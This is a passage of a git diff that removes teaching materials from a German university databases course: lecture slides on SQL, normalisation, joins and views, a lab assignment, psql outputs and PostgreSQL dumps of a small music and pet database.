Structured Query Language (SQL) - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikibooks.org/wiki/Einführung_in_SQL} - - \bigskip - - Wichtige SQL-Befehle: - \begin{itemize} - \item - \lstinline[style=cmd]{CREATE} -- Datenbanken, Tabellen usw.\ anlegen - \item - \lstinline[style=cmd]{DROP} -- Datenbanken, Tabellen usw.\ löschen - \item - \lstinline[style=cmd]{SELECT} -- Daten abfragen - \item - \lstinline[style=cmd]{INSERT INTO ... VALUES} -- Daten eingeben - \item - \lstinline[style=cmd]{UPDATE} -- Daten ändern - \item - \lstinline[style=cmd]{DELETE FROM} -- Daten löschen - \end{itemize} - -\end{frame} - -\subsection{Normalformen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Schlecht angelegte Datenbanken werden schnell inkonsistent.\\ - Beliebte Fehler: - \begin{itemize} - \item - Speichern von mehreren Daten in demselben Tabelleneintrag\\ - {\only<2->{\color{red}\textarrow\ 1.~Normalform}} - \item - Speichern von denselben Daten in verschiedenen Tabelleneinträgen\\ - {\only<2->{\color{red}\textarrow\ 2.~Normalform}} - \item - implizite Zusammenhänge\\ - {\only<2->{\color{red}\textarrow\ 3.~Normalform und Boyce-Codd-Normalform}} - \item - voneinander unabhängige Zusammenhänge in derselben Tabelle\\ - {\only<2->{\color{red}\textarrow\ 4.~und 5.~Normalform}} - \end{itemize} - - \begin{onlyenv}<2-> - \medskip - - {\color{red}Lösung: Normalformen} - \end{onlyenv} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/Normalisierung_(Datenbank)} - -\end{frame} - -\subsection{Verknüpfungen von Tabellen} - -\begin{frame} - - \showsection - \showsubsection - - Problem: Gut angelegte Datenbanken ({\color{red}\textarrow\ Normalformen})\\ - sind stark aufgesplittet.\\ - Wie kann man sie weiterhin effizient benutzen? - - \bigskip - - Lösung: Verknüpfungen von Tabellen - - \bigskip - - SQL-Befehl: \lstinline[style=cmd]{JOIN} - - \bigskip - - Literatur: z.\,B.\ \url{https://de.wikipedia.org/wiki/SQL} - -\end{frame} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - Was machen wir mit Tabelleneinträgen,\\ - bei denen die \lstinline[style=cmd]{ON}-Bedingung - nicht erfüllt ist? - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> [INNER] JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - weglassen: \lstinline[style=cmd]{[INNER] JOIN} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> LEFT JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - linke Tabelle trotzdem anzeigen - (mit \lstinline[style=cmd]{NULL}-Einträgen): - \lstinline[style=cmd]{LEFT JOIN}\\ - (analog: \lstinline[style=cmd]{RIGHT JOIN} für rechte Tabelle) - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> FULL JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - beide Tabellen trotzdem anzeigen - (mit \lstinline[style=cmd]{NULL}-Einträgen): - \lstinline[style=cmd]|FULL JOIN| - \end{itemize} - -\end{frame} - -\subsection{Sichten} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - ¡SELECT <Feld[er]> FROM <Tabelle1> [INNER] JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>;¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Wir betrachten beide Tabellen zusammen als eine große Tabelle. - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - ¡CREATE VIEW <Sicht> AS - SELECT <Feld[er]> FROM <Tabelle1> JOIN <Tabelle2> - ON <Tabelle1>.<Feld> = <Tabelle2>.<Feld>; - SELECT <Feld[er]> FROM <Sicht> [WHERE ...];¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Wir sprechen das Ergebnis genau wie eine Tabelle an. - \bigskip - \arrowitem - Es ist möglich, ohne Verlust an Komfort alle Daten in Normalform zu halten. - \end{itemize} - -\end{frame} - -\subsection{Schlüsselfelder} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - ¡CREATE TABLE tabelle1 ( - id INT PRIMARY KEY AUTO_INCREMENT, - ... - ); - CREATE TABLE tabelle2 ( - ... - tabelle1_id INT, - ... - FOREIGN KEY(tabelle1_id) REFERENCES tabelle1(id) - ); - \end{lstlisting} - - \smallskip - - \begin{itemize} - \arrowitem - Dem DBMS mitteilen, welche Felder für \lstinline[style=cmd]{JOIN} - vorgesehen sind. - \arrowitem - Das DBMS kann mit auf Konsistenz achten. - \end{itemize} - -\end{frame} - -\subsection{Datensicherung} - -\begin{frame}[fragile] - - \showsection - \showsubsection - - \begin{lstlisting}[style=terminal] - $ ¡pg_dump --clean -h <Rechner> -U <User> -W <Datenbank>¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \item - Ausgabe des gesamten Datenbankinhalts\\ - als SQL-Quelltext zur Standardausgabe - \arrowitem - keine Probleme mit sich evtl.\ ändernden Binärformaten - \item - Es ist möglich, den Inhalt direkt in einer Pipe weiterzuverarbeiten\\ - (z.\,B.\ zu komprimieren). - \item - Zurückspielen: mit \lstinline[style=cmd]{psql} - \end{itemize} - - \smallskip - - \begin{lstlisting}[style=terminal] - $ ¡psql -h <Rechner> -U <User> -W <Datenbank> \ - < <Ausgabe von pg_dump>¿ - \end{lstlisting} - - \smallskip - - \begin{itemize} - \item - analog für \file{MariaDB}: \lstinline[style=cmd]{mariadb-dump} - \end{itemize} - -\end{frame} - -\end{document} diff --git a/20231123/dbs-2023ws-p2.pdf b/20231123/dbs-2023ws-p2.pdf deleted file mode 100644 index 11e348d9e9d1eea759dc9ec490f1298017fa49e5..0000000000000000000000000000000000000000 Binary files a/20231123/dbs-2023ws-p2.pdf and /dev/null differ diff --git a/20231123/dbs-2023ws-p2.tex b/20231123/dbs-2023ws-p2.tex deleted file mode 100644 index 3c8233d3fbd406c40ad86dcca25f7a5fa6e1aecf..0000000000000000000000000000000000000000 --- a/20231123/dbs-2023ws-p2.tex +++ /dev/null @@ -1,119 +0,0 @@ -% dbs-2023ws-p2.pdf - Labor Notes on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Versuch 2: Relationale Datenbanken - -\documentclass[a4paper]{article} - -\usepackage{pgscript} -\usepackage{multicol} -\usepackage{sfmath} - -\sloppy -\pagestyle{empty} -\addtolength{\textheight}{1cm} -\newcommand{\sep}{~$\cdot$~} -\newcommand{\mylicense}{CC BY-SA (Version 4.0) oder GNU GPL (Version 3 oder höher)} - -\begin{document} - - \makebox(0,0.005)[tl]{\includegraphics[scale=0.72]{logo-hochschule-bochum-cvh-text-v2.pdf}}\hfill - \makebox(0,0)[tr]{\includegraphics[scale=0.5]{logo-hochschule-bochum.pdf}} - \par\bigskip\bigskip - \begin{center} - \Large\textbf{Praktikumsversuch 2: Relationale Datenbanken} - \par\medskip - \normalsize Datenbanken und Datensicherheit\sep - Wintersemester 2023/24\sep - Prof.~Dr.~Peter Gerwinski - \end{center} - - Aufgabe: Stellen Sie einen realistischen Datenbestand - in einer relationalen Datenbank dar. - -% \begin{multicols}{2} - \begin{itemize} - \item - Installieren Sie auf einem Rechner, auf dem Sie Administrationsrechte haben, - ein Datenbank-Management-System (DBMS, z.\,B.\ PostgreSQL, MariaDB). - Legen Sie einen Nutzer mit Passwort an. - \item - Machen Sie sich mit dem Umgang mit dieser Datenbank vertraut. - Hierfür können Sie z.\,B.\ die Tabelle, - für die Sie in Praktikumsversuch 1 ein Abfragesystem programmiert haben, - in die Datenbank einspielen. - Geben Sie SQL-Befehle sowohl von Hand ein - als auch über vorab erstellte SQL-Skripte. - \item - Überlegen Sie sich ein realistisches Szenario - als Anwendungsbeispiel für eine relationale Datenbank. - Nutzen Sie für Ihre Daten verschiedene (sinnvolle!) Datentypen. - \item - Beispiel 1: Musiksammlung (vgl.~die Beispiele aus der Vorlesung - bzw.~aus \url{https://de.wikipedia.org/wiki/Normalisierung_(Datenbank)} - zum Thema "`Normalformen"') - \item - Beispiel 2: Online-Shop. - Hier gibt es typischerweise Listen für die Kundschaft - inklusive teilweise mehrerer Adressen, - Listen von Waren, Listen von Bestellungen, \dots - \item - Achten Sie bei der Organisation Ihrer Daten auf die Einhaltung - der in der Vorlesung vorgestellten Normalformen. - \item - Erstellen Sie ein SQL-Skript, mit dem Sie diese Datenbank - automatisch einspielen können. (Beispiele dazu finden Sie z.\,B.\ unter - \url{https://gitlab.cvh-server.de/pgerwinski/dbs/-/tree/2023ws/20231123}.) - \item - Stellen Sie Abhängigkeiten zwischen den Tabellen - durch primäre Schlüssel (\lstinline[style=cmd]{PRIMARY KEY}), - Fremdschlüssel (\lstinline[style=cmd]{FOREIGN KEY}) - und Tabellenverknüpfungen (\lstinline[style=cmd]{JOIN}) her. - \item - Erstellen Sie Sichten auf Tabellen (\lstinline[style=cmd]{VIEW}) - für praxistypische Anwendungsfälle (z.\,B.\ in Beispiel 1: - Liste sämtlicher Musikstücke inklusive Album, Erscheinungsjahr usw.). - \end{itemize} -% \end{multicols} - - \strut\hfill\emph{Viel Erfolg!} - - \vfill - - \begingroup - - \small - - \setlength{\leftskip}{3cm} - - Stand: 28.\ November 2023 - - Copyright \copyright\ 2023\quad Peter Gerwinski\\ - Lizenz: \mylicense - - Sie können diese Praktikumsunterlagen einschließlich \LaTeX-Quelltext - herunterladen unter:\\ - \url{https://gitlab.cvh-server.de/pgerwinski/dbs} - - \endgroup - -\end{document} diff --git a/20231123/foreign-key-01.txt b/20231123/foreign-key-01.txt deleted file mode 100644 index 26336ac0dba8c07d6200204d760c7c241110e022..0000000000000000000000000000000000000000 --- a/20231123/foreign-key-01.txt +++ /dev/null @@ -1,32 +0,0 @@ -testdb=> select * from lied_auf_cd; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr | track | titel --------+--------------------+------------+----------------+------------------+-------+---------------------------- - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 1 | Not That Kind - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 2 | I'm Otta Love - 4711 | Not That Kind | Anastacia | 1999 | 2000 | 3 | Cowboys & Kisses - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 | 1 | Shine On You Crazy Diamond - 4713 | Freak of Nature | Anastacia | 1999 | 2001 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> select * from lied; - cd_id | track | titel --------+-------+---------------------------- - 4711 | 1 | Not That Kind - 4711 | 2 | I'm Otta Love - 4711 | 3 | Cowboys & Kisses - 4712 | 1 | Shine On You Crazy Diamond - 4713 | 1 | Paid my Dues -(5 Zeilen) - -testdb=> select * from cd; - cd_id | albumtitel | interpret | gruendungsjahr | erscheinungsjahr --------+--------------------+-------------------------+----------------+------------------ - 4711 | Not That Kind | Anastacia | 1999 | 2000 - 4712 | Wish You Were Here | Pink Floyd | 1965 | 1975 - 4713 | Freak of Nature | Anastacia | 1999 | 2001 - 4714 | Songs for the Deaf | Queens of the Stone Age | 1996 | 2002 -(4 Zeilen) - -testdb=> INSERT INTO lied ( cd_id, track, titel ) VALUES ( 4733, 1, '4''33"' ); FEHLER: Einfügen oder Aktualisieren in Tabelle »lied« verletzt Fremdschlüssel-Constraint »lied_fkey_cd_id« -DETAIL: Schlüssel (cd_id)=(4733) ist nicht in Tabelle »cd« vorhanden. -testdb=> diff --git a/20231123/foreign-key-02.txt b/20231123/foreign-key-02.txt deleted file mode 100644 index 6f6271018ebbae4ddcad2e7960c4be8d94cdef75..0000000000000000000000000000000000000000 --- a/20231123/foreign-key-02.txt +++ /dev/null @@ -1,25 +0,0 @@ -testdb=> \d cd - Tabelle »public.cd« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert -------------------+---------+--------------+---------------+----------------------------------- - cd_id | integer | | not null | nextval('cd_cd_id_seq'::regclass) - albumtitel | text | | | - interpret | text | | | - gruendungsjahr | integer | | | - erscheinungsjahr | integer | | | -Indexe: - "cd_pkey" PRIMARY KEY, btree (cd_id) -Fremdschlüsselverweise von: - TABLE "lied" CONSTRAINT "lied_fkey_cd_id" FOREIGN KEY (cd_id) REFERENCES cd(cd_id) - -testdb=> \d lied - Tabelle »public.lied« - Spalte | Typ | Sortierfolge | NULL erlaubt? | Vorgabewert ---------+---------+--------------+---------------+------------- - cd_id | integer | | | - track | integer | | | - titel | text | | | -Fremdschlüssel-Constraints: - "lied_fkey_cd_id" FOREIGN KEY (cd_id) REFERENCES cd(cd_id) - -testdb=> diff --git a/20231123/logo-hochschule-bochum-cvh-text-v2.pdf b/20231123/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231123/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231123/logo-hochschule-bochum.pdf b/20231123/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231123/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231123/pgscript.sty b/20231123/pgscript.sty deleted file mode 120000 index 95c888478c99ea7fda0fd11ccf669ae91be7178b..0000000000000000000000000000000000000000 --- a/20231123/pgscript.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgscript.sty \ No newline at end of file diff --git a/20231123/pgslides.sty b/20231123/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231123/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231123/testdb-20231123-01.sql b/20231123/testdb-20231123-01.sql deleted file mode 100644 index 0a8b8a9a1b46654310fdd32698753b1324d7f459..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-01.sql +++ /dev/null @@ -1,153 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.test ( - id integer, - s text -); - - -ALTER TABLE public.test OWNER TO dbs; - --- --- Name: tier; Type: TABLE; Schema: public; Owner: postgres --- - -CREATE TABLE public.tier ( - name character(30), - tierart character(30), - id integer -); - - -ALTER TABLE public.tier OWNER TO postgres; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: test; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.test (id, s) FROM stdin; -7 Zwerge -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: postgres --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -\. - - --- --- Name: TABLE tier; Type: ACL; Schema: public; Owner: postgres --- - -GRANT ALL ON TABLE public.tier TO dbs; - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-02.sql b/20231123/testdb-20231123-02.sql deleted file mode 100644 index 150e2532070ec8f7265afe84cde54b118f5a7244..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-02.sql +++ /dev/null @@ -1,155 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.test ( - id integer, - s text -); - - -ALTER TABLE public.test OWNER TO dbs; - --- --- Name: tier; Type: TABLE; Schema: public; Owner: postgres --- - -CREATE TABLE public.tier ( - name character(30), - tierart character(30), - id integer -); - - -ALTER TABLE public.tier OWNER TO postgres; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: test; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.test (id, s) FROM stdin; -7 Zwerge -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: postgres --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -Felix Troll \N -Rex Ameise \N -\. - - --- --- Name: TABLE tier; Type: ACL; Schema: public; Owner: postgres --- - -GRANT ALL ON TABLE public.tier TO dbs; - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-03.sql b/20231123/testdb-20231123-03.sql deleted file mode 100644 index cfa13aba0e211ca18070d7da4cc68ef9e22cddab..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-03.sql +++ /dev/null @@ -1,160 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE public.tier; -DROP TABLE public.test; -DROP VIEW public.lied_auf_cd; -DROP TABLE public.lied; -DROP TABLE public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.test ( - id integer, - s text -); - - -ALTER TABLE public.test OWNER TO dbs; - --- --- Name: tier; Type: TABLE; Schema: public; Owner: postgres --- - -CREATE TABLE public.tier ( - name character(30), - tierart character(30), - id integer -); - - -ALTER TABLE public.tier OWNER TO postgres; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: test; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.test (id, s) FROM stdin; -7 Zwerge -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: postgres --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -Felix Troll \N -Rex Ameise \N -\. - - --- --- Name: TABLE tier; Type: ACL; Schema: public; Owner: postgres --- - -GRANT ALL ON TABLE public.tier TO dbs; - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-04.sql b/20231123/testdb-20231123-04.sql deleted file mode 100644 index 4d08542096b1a7a614a31a720952cdfbb53113a6..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-04.sql +++ /dev/null @@ -1,132 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE public.tier; -DROP VIEW public.lied_auf_cd; -DROP TABLE public.lied; -DROP TABLE public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer PRIMARY KEY AUTO_INCREMENT, - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text, - FOREIGN KEY(cd_id) REFERENCES cd(cd_id) -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, - lied.titel - FROM (public.cd - JOIN public.lied ON ((cd.cd_id = lied.cd_id))); - - -ALTER TABLE public.lied_auf_cd OWNER TO dbs; - --- --- Name: test; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.tier ( - id integer PRIMARY KEY AUTO_INCREMENT, - name text, - tierart text -); - - -ALTER TABLE public.tier OWNER TO dbs; - --- --- Data for Name: cd; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.cd (cd_id, albumtitel, interpret, gruendungsjahr, erscheinungsjahr) FROM stdin; -4711 Not That Kind Anastacia 1999 2000 -4712 Wish You Were Here Pink Floyd 1965 1975 -4713 Freak of Nature Anastacia 1999 2001 -4714 Songs for the Deaf Queens of the Stone Age 1996 2002 -\. - - --- --- Data for Name: lied; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.lied (cd_id, track, titel) FROM stdin; -4711 1 Not That Kind -4711 2 I'm Otta Love -4711 3 Cowboys & Kisses -4712 1 Shine On You Crazy Diamond -4713 1 Paid my Dues -4733 1 4'33" -\. - - --- --- Data for Name: tier; Type: TABLE DATA; Schema: public; Owner: dbs --- - -COPY public.tier (name, tierart, id) FROM stdin; -Esmeralda Spinne 1 -Timmy Hund 2 -Dio Katze 3 -Tusnelda Spinne 4 -Ragnar Katze \N -Putzi Ratte \N -Felix Troll \N -Rex Ameise \N -\. - - --- --- PostgreSQL database dump complete --- - diff --git a/20231123/testdb-20231123-05.sql b/20231123/testdb-20231123-05.sql deleted file mode 100644 index 7a5b5125ed2e88b2337ec2a8190c54549a2a2ca4..0000000000000000000000000000000000000000 --- a/20231123/testdb-20231123-05.sql +++ /dev/null @@ -1,132 +0,0 @@ --- --- PostgreSQL database dump --- - --- Dumped from database version 15.5 (Debian 15.5-0+deb12u1) --- Dumped by pg_dump version 15.5 (Debian 15.5-0+deb12u1) - -SET statement_timeout = 0; -SET lock_timeout = 0; -SET idle_in_transaction_session_timeout = 0; -SET client_encoding = 'UTF8'; -SET standard_conforming_strings = on; -SELECT pg_catalog.set_config('search_path', '', false); -SET check_function_bodies = false; -SET xmloption = content; -SET client_min_messages = warning; -SET row_security = off; - -DROP TABLE public.tier; -DROP VIEW public.lied_auf_cd; -DROP TABLE public.lied; -DROP TABLE public.cd; -SET default_tablespace = ''; - -SET default_table_access_method = heap; - --- --- Name: cd; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.cd ( - cd_id integer SERIAL PRIMARY KEY; - albumtitel text, - interpret text, - gruendungsjahr integer, - erscheinungsjahr integer -); - - -ALTER TABLE public.cd OWNER TO dbs; - --- --- Name: lied; Type: TABLE; Schema: public; Owner: dbs --- - -CREATE TABLE public.lied ( - cd_id integer, - track integer, - titel text, - FOREIGN KEY(cd_id) REFERENCES cd(cd_id) -); - - -ALTER TABLE public.lied OWNER TO dbs; - --- --- Name: lied_auf_cd; Type: VIEW; Schema: public; Owner: dbs --- - -CREATE VIEW public.lied_auf_cd AS - SELECT cd.cd_id, - cd.albumtitel, - cd.interpret, - cd.gruendungsjahr, - cd.erscheinungsjahr, - lied.track, 